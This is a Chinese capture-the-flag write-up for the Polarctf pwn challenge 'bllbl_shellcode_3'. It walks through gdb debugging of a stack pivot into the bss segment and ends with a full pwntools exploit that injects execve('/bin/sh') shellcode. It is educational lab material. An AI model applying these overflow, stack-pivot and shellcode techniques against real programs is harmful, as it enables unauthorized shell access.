CTF - Pwn题之shellcode&栈迁移

admin 2025年5月1日01:29:22评论0 views字数 2309阅读7分41秒阅读模式

欢迎师傅关注公众号夜风Sec,不定时分享学习记录和各种工具,与师傅共同进步 : )

附件资源

网盘链接:https://pan.quark.cn/s/08bfa4d28af

官方网站:https://polarctf.com/#/page/challenges

Polarctf - bllbl_shellcode_3

文件分析

CTF - Pwn题之shellcode&栈迁移
shellcode302

64位程序、没有保护,存在RWX段

IDA分析

CTF - Pwn题之shellcode&栈迁移
shellcode300

有溢出、有binsh字符串、还给了一个汇编jmp rsp

CTF - Pwn题之shellcode&栈迁移
shellcode301

跟进jmp rsp, 发现上面还有一个 sub rsp,17h

CTF - Pwn题之shellcode&栈迁移
shellcode303

bss段可执行

思路:栈迁移+shellcode,通过read函数将shellcode写入到bss段,然后将栈迁移到shellcode处执行

binsh_addr = 0x040201d# binsh字符串地址
jmp_rsp_0x17 = 0x0401342# sub rsp,17h; jmp rsp;
leave_ret = 0x040128b# 栈迁移需要
readbss = 0x00401312# rax = rbp-8; read(0, rbp-8, 0x20)
bss_addr = 0x04040A0# 写入shellcode的bss地址

gdb

通过gdb确定溢出

CTF - Pwn题之shellcode&栈迁移
shellcode304

padding = 16

通过gdb调试栈迁移

CTF - Pwn题之shellcode&栈迁移
shellcode305

通过这个readbss的地址的汇编发现:read(0, rbp+buf, 0x20);

所以构造:b*8 + bss_addr(rbp) + readbss(ret) + leave_ret(栈迁移)

gdb调试

payload1 = b'a'*8 + p64(bss_addr) + p64(readbss) + p64(leave_ret) # 此时rbp为bss的地址 加一个 leave_ret
gdb.attach(io, "b *0x401332")
io.send(payload1)
pause()
CTF - Pwn题之shellcode&栈迁移
shellcode306

rbp被我们覆盖为bss的地址

可以看到read函数写入的地址是 0x404098 => 0x04040A0(rbp)-8

CTF - Pwn题之shellcode&栈迁移
shellcode307

最后跳转到了 0x4040a8 位置 继续执行

发现这里 相差 0x4040a8 - 0x404098 = 16 个字节

然后就是read函数 我们写入shellcode,但在写入之前要确定rsp与0x404098的距离

shellcode = b'a'*16
gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
pause()
CTF - Pwn题之shellcode&栈迁移
shellcode308

我们下的断点是发送完shellcode之后,此时rbp=0x4040a0

然后是read函数里的 leave ret => 最后rsp=0x4040a8

然后执行我们构造的leave ret => rsp=0x4040b0

0x4040b0 - 0x404098 = 0x18

而jmp_rsp_0x17 = 0x0401342 # sub rsp,17h; jmp rsp;

0x4040b0 - 0x17 = 0x404099

所以构造shellcode需要先nop;一下 且长度要够16字节 -> 以便执行 sub rsp,17h

shellcode = asm("nop;")
shellcode += asm("""
mov al,0x3b
mov esi,edi
mov edi,0x40201d
mov edx,esi
syscall
"""
)
shellcode += asm("nop;nop")
shellcode += p64(jmp_rsp_0x10)
print("Shellcode长度: ",len(shellcode))

gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
pause()
CTF - Pwn题之shellcode&栈迁移
shellcode309

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./shellcode3')
# io = remote('1.95.36.136', 2096)
elf = ELF('./shellcode3')

binsh_addr = 0x040201d
jmp_rsp_0x10 = 0x0401342
leave_ret = 0x040128b
readbss = 0x00401312# rax = rbp-8; read(0, rbp-8, 0x20)
bss_addr = 0x04040A0

# 栈迁移
payload1 = b'a'*8 + p64(bss_addr) + p64(readbss) + p64(leave_ret) # 此时rbp为bss的地址 加一个 leave_ret

# gdb.attach(io, "b *0x0401312")
io.send(payload1)
# pause()

# rdi rsi rdx
shellcode = asm("nop;")
shellcode += asm("""
mov al,0x3b
mov esi,edi
mov edi,0x40201d
mov edx,esi
syscall
"""
)
shellcode += asm("nop;nop")
shellcode += p64(jmp_rsp_0x10)
print("Shellcode长度: ",len(shellcode))


#gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
#pause()

io.interactive()

原文始发于微信公众号(夜风Sec):CTF - Pwn题之shellcode&栈迁移

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日01:29:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF - Pwn题之shellcode&栈迁移https://cn-sec.com/archives/4020633.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息